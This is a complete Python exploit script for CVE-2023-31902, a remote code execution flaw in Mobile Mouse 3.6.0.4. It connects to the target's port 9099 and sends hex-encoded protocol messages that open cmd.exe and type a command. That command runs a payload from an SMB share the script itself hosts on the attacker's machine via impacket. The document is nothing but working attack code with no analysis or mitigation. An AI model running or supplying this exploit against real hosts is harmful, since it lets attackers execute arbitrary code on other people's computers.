CVE-2023-31902-v3.py

#Mobile Mouse 3.6.0.4 Remote Code Execution By Chokri Hammedi

import socket
from time import sleep
import argparse
import threading
from impacket import smbserver

def smb_server(lhost, file_to_serve):
    server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
    server.addShare("share", ".", "")
    server.start()

help = " Mobile Mouse 3.6.0.4 Remote Code Execution "
parser = argparse.ArgumentParser(description=help)
parser.add_argument("--target", help="Target IP", required=True)
parser.add_argument("--file", help="File name to Upload", required=True)
parser.add_argument("--lhost", help="Your local IP", default="127.0.0.1")

args = parser.parse_args()

host = args.target
command_shell = args.file
lhost = args.lhost
port = 9099 # Default port

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 256)
s.connect((host, port))


smb_server_thread = threading.Thread(target=smb_server, args=(lhost, command_shell))
smb_server_thread.start()


CONN = bytearray.fromhex("434F4E4E4543541E1E63686F6B726968616D6D6564691E6950686F6E651E321E321E04") # attacker connection 
s.send(CONN)
run = s.recv(54)

CMD = bytearray.fromhex("53454E4450524F4752414D414354494F4E1E52554E1E636D642E65786504") # popup a CMD 
s.send(CMD)
run = s.recv(54)

sleep(0.5)

payload = f"cmd.exe /c start /B \\\\{lhost}\\share\\{command_shell}".encode('utf-8') # execute payload
hex_payload = payload.hex()
SHELL = bytearray.fromhex("4B45591E3130301E" + hex_payload + "1E04" + "4b45591e2d311e454e5445521e04")
s.send(SHELL)
shell = s.recv(96)

print("Take The rose...")

sleep(30)
s.close()